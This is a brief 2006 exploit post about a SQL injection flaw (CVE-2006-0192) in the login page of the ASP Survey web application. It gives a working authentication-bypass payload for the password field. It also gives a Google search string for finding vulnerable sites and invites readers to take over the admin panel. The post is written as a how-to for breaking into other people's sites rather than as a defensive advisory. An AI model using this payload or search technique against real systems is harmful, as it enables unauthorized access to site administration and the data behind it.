Topic:	sql injection in ASP Survey
Credit:	mfoxhacker
Date:	2006.02.05
CWE:	CWE-89 (Show similar)
CVE:	CVE-2006-0192 (Show details) Use CVE to see details like: - CVSS2, - Affected Software, - References

Hi guys
there is a simple sql injection in web app. (ASP Survey) by this vuln. you can go into the admin page

Target Page : login.asp
Vendor : ASP Survey
Exploit : User: admin Password: 'or'

Hacking: 1. search on google.com as :
allinurl:"login.asp" ASPsurvey
and then type the Exploit in correct order...
and Enjoy the admin CP.